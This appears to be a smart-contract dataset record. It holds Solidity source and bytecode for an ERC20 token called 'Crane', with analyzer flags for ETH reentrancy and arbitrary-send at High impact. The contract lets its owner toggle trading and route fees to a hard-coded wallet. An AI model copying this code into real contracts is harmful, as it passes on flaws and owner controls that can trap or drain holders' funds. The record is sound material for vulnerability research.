6138c9565b604082019050919050565b6000612f00602483613319565b9150612f0b82613918565b604082019050919050565b6000612f23601783613319565b9150612f2e82613967565b602082019050919050565b6000612f46601883613319565b9150612f5182613990565b602082019050919050565b612f658161347d565b82525050565b612f7481613487565b82525050565b6000602082019050612f8f6000830184612cae565b92915050565b6000604082019050612faa6000830185612cae565b612fb76020830184612cae565b9392505050565b6000604082019050612fd36000830185612cae565b612fe06020830184612f5c565b9392505050565b600060c082019050612ffc6000830189612cae565b6130096020830188612f5c565b6130166040830187612d2a565b6130236060830186612d2a565b6130306080830185612cae565b61303d60a0830184612f5c565b979650505050505050565b600060208201905061305d6000830184612d1b565b92915050565b6000602082019050818103600083015261307d8184612d39565b905092915050565b6000602082019050818103600083015261309e81612d72565b9050919050565b600060208201905081810360008301526130be81612d95565b9050919050565b600060208201905081810360008301526130de81612db8565b9050919050565b600060208201905081810360008301526130fe81612ddb565b9050919050565b6000602082019050818103600083015261311e81612dfe565b9050919050565b6000602082019050818103600083015261313e81612e21565b9050919050565b6000602082019050818103600083015261315e81612e44565b9050919050565b6000602082019050818103600083015261317e81612e67565b9050919050565b6000602082019050818103600083015261319e81612e8a565b9050919050565b600060208201905081810360008301526131be81612ead565b9050919050565b600060208201905081810360008301526131de81612ed0565b9050919050565b600060208201905081810360008301526131fe81612ef3565b9050919050565b6000602082019050818103600083015261321e81612f16565b9050919050565b6000602082019050818103600083015261323e81612f39565b9050919050565b600060208201905061325a6000830184612f5c565b92915050565b600060a0820190506132756000830188612f5c565b6132826020830187612d2a565b81810360408301526132948186612cbd565b90506132a36060830185612cae565b6132b06080830184612f5c565b9695505050505050565b60006020820190506132cf6000830184612f6b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133358261347d565b91506133408361347d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561337557613374613553565b5b828201905092915050565b600061338b8261347d565b91506133968361347d565b9250826133a6576133a5613582565b5b828204905092915050565b60006133bc8261347d565b91506133c78361347d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613400576133ff613553565b5b828202905092915050565b60006134168261347d565b91506134218361347d565b92508282101561343457613433613553565b5b828203905092915050565b600061344a8261345d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061349f8261347d565b9050919050565b60005b838110156134c45780820151818401526020810190506134a9565b838111156134d3576000848401525b50505050565b60006134e48261347d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561351757613516613553565b5b600182019050919050565b600061352d8261347d565b91506135388361347d565b92508261354857613547613582565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139c28161343f565b81146139cd57600080fd5b50565b6139d981613451565b81146139e457600080fd5b50565b6139f08161347d565b81146139fb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ec4c924bb020b9b0989a2db3af57192398aa8ba6e5bcba85ffeb4c9a95c71b864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,546
0xCa40e40a37ea28cA76EEFD747294763765cbab78
/** MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKxlc::lxKWMMWMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKl. .':ok0XWMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: .;;,,:c::;:cldkKNMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd. ;KWWWWWWWWNNXK0O0NWMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl 'kXMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO' .,xNMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c. :0WMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWMMMMNKl. ;KMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWMX: .xWMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWN0dlcloxXWMX; oWMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo,. 'x0c. .xMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMWMMWKl. ,, ;KMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMWMNx' ', .OWMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMW0: ,. .xWMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMNx' .' ;OWMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMXl. .. ,xXMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMK: ....;xNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMWXc ....;kNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMW0c. ....:OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMXx;. ...;OXNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMKc'. :XMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMM0, . .cc. ,0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMWk' . .l0WO:c:dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMWk. ,l'.dNMMkclckMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMX: ;KKcoNMMWx:::kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMK; ,0MNKXMMMMk;;;kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMK, .dWMMMMMMMMKc::xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMK; ,KWMMMMMMMMNo::lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMNx,,cdNMMMMMMMMMMO:;:0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMWKkKNNMMMMMMMMMMMXl,;xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMWWMMMMMMMMMMMMMMWd,,cKNWWNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKd'..;odx0XNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNNOllxO0KNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Crane is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Crane"; string private constant _symbol = "CRANE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _taaxAddress = payable(0xeD9D8c916F40B5F598Ee56cC4808f3354268b183); address payable private _ttaxAddress = payable(0xeD9D8c916F40B5F598Ee56cC4808f3354268b183); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 20000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taaxAddress] = true; _isExcludedFromFee[_ttaxAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _ttaxAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 9000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101bb5760003560e01c80637f2feddc116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146104fd578063dd62ed3e1461051d578063ea1644d514610563578063f2fde38b1461058357600080fd5b8063a9059cbb14610498578063bfd79284146104b8578063c3c8cd80146104e857600080fd5b80638f9a55c0116100c65780638f9a55c01461041457806395d89b411461042a57806398a5c31514610458578063a2a957bb1461047857600080fd5b80637f2feddc146103a95780638da5cb5b146103d65780638f70ccf7146103f457600080fd5b806349bd5a5e1161015957806370a082311161013357806370a082311461033e578063715018a61461035e57806374010ece146103735780637d1db4a51461039357600080fd5b806349bd5a5e146102e75780636d8aa8f8146103075780636fc3eaec1461032957600080fd5b806318160ddd1161019557806318160ddd1461026f57806323b872dd146102955780632fd689e3146102b5578063313ce567146102cb57600080fd5b806306fdde03146101c7578063095ea7b3146102075780631694505e1461023757600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260058152644372616e6560d81b60208201525b6040516101fe9190611979565b60405180910390f35b34801561021357600080fd5b506102276102223660046119e3565b6105a3565b60405190151581526020016101fe565b34801561024357600080fd5b50601454610257906001600160a01b031681565b6040516001600160a01b0390911681526020016101fe565b34801561027b57600080fd5b50683635c9adc5dea000005b6040519081526020016101fe565b3480156102a157600080fd5b506102276102b0366004611a0f565b6105ba565b3480156102c157600080fd5b5061028760185481565b3480156102d757600080fd5b50604051600981526020016101fe565b3480156102f357600080fd5b50601554610257906001600160a01b031681565b34801561031357600080fd5b50610327610322366004611a65565b610623565b005b34801561033557600080fd5b50610327610674565b34801561034a57600080fd5b50610287610359366004611a80565b6106bf565b34801561036a57600080fd5b506103276106e1565b34801561037f57600080fd5b5061032761038e366004611a9d565b610755565b34801561039f57600080fd5b5061028760165481565b3480156103b557600080fd5b506102876103c4366004611a80565b60116020526000908152604090205481565b3480156103e257600080fd5b506000546001600160a01b0316610257565b34801561040057600080fd5b5061032761040f366004611a65565b610794565b34801561042057600080fd5b5061028760175481565b34801561043657600080fd5b506040805180820190915260058152644352414e4560d81b60208201526101f1565b34801561046457600080fd5b50610327610473366004611a9d565b6107dc565b34801561048457600080fd5b50610327610493366004611ab6565b61080b565b3480156104a457600080fd5b506102276104b33660046119e3565b6109c1565b3480156104c457600080fd5b506102276104d3366004611a80565b60106020526000908152604090205460ff1681565b3480156104f457600080fd5b506103276109ce565b34801561050957600080fd5b50610327610518366004611ae8565b610a22565b34801561052957600080fd5b50610287610538366004611b6c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056f57600080fd5b5061032761057e366004611a9d565b610ac3565b34801561058f57600080fd5b5061032761059e366004611a80565b610af2565b60006105b0338484610bdc565b5060015b92915050565b60006105c7848484610d00565b610619843361061485604051806060016040528060288152602001611d20602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123c565b610bdc565b5060019392505050565b6000546001600160a01b031633146106565760405162461bcd60e51b815260040161064d90611ba5565b60405180910390fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806106a957506013546001600160a01b0316336001600160a01b0316145b6106b257600080fd5b476106bc81611276565b50565b6001600160a01b0381166000908152600260205260408120546105b4906112b4565b6000546001600160a01b0316331461070b5760405162461bcd60e51b815260040161064d90611ba5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161064d90611ba5565b677ce66c50e28400008111156106bc57601655565b6000546001600160a01b031633146107be5760405162461bcd60e51b815260040161064d90611ba5565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108065760405162461bcd60e51b815260040161064d90611ba5565b601855565b6000546001600160a01b031633146108355760405162461bcd60e51b815260040161064d90611ba5565b60048411156108945760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161064d565b60148211156108f05760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161064d565b60048311156109505760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161064d565b60148111156109ad5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161064d565b600893909355600a91909155600955600b55565b60006105b0338484610d00565b6012546001600160a01b0316336001600160a01b03161480610a0357506013546001600160a01b0316336001600160a01b0316145b610a0c57600080fd5b6000610a17306106bf565b90506106bc81611338565b6000546001600160a01b03163314610a4c5760405162461bcd60e51b815260040161064d90611ba5565b60005b82811015610abd578160056000868685818110610a6e57610a6e611bda565b9050602002016020810190610a839190611a80565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610ab581611c06565b915050610a4f565b50505050565b6000546001600160a01b03163314610aed5760405162461bcd60e51b815260040161064d90611ba5565b601755565b6000546001600160a01b03163314610b1c5760405162461bcd60e51b815260040161064d90611ba5565b6001600160a01b038116610b815760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c3e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064d565b6001600160a01b038216610c9f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d645760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064d565b6001600160a01b038216610dc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064d565b60008111610e285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064d565b6000546001600160a01b03848116911614801590610e5457506000546001600160a01b03838116911614155b1561113557601554600160a01b900460ff16610eed576000546001600160a01b03848116911614610eed5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064d565b601654811115610f3f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f8157506001600160a01b03821660009081526010602052604090205460ff16155b610fd95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064d565b6015546001600160a01b0383811691161461105e5760175481610ffb846106bf565b6110059190611c21565b1061105e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161064d565b6000611069306106bf565b6018546016549192508210159082106110825760165491505b80801561109957506015546001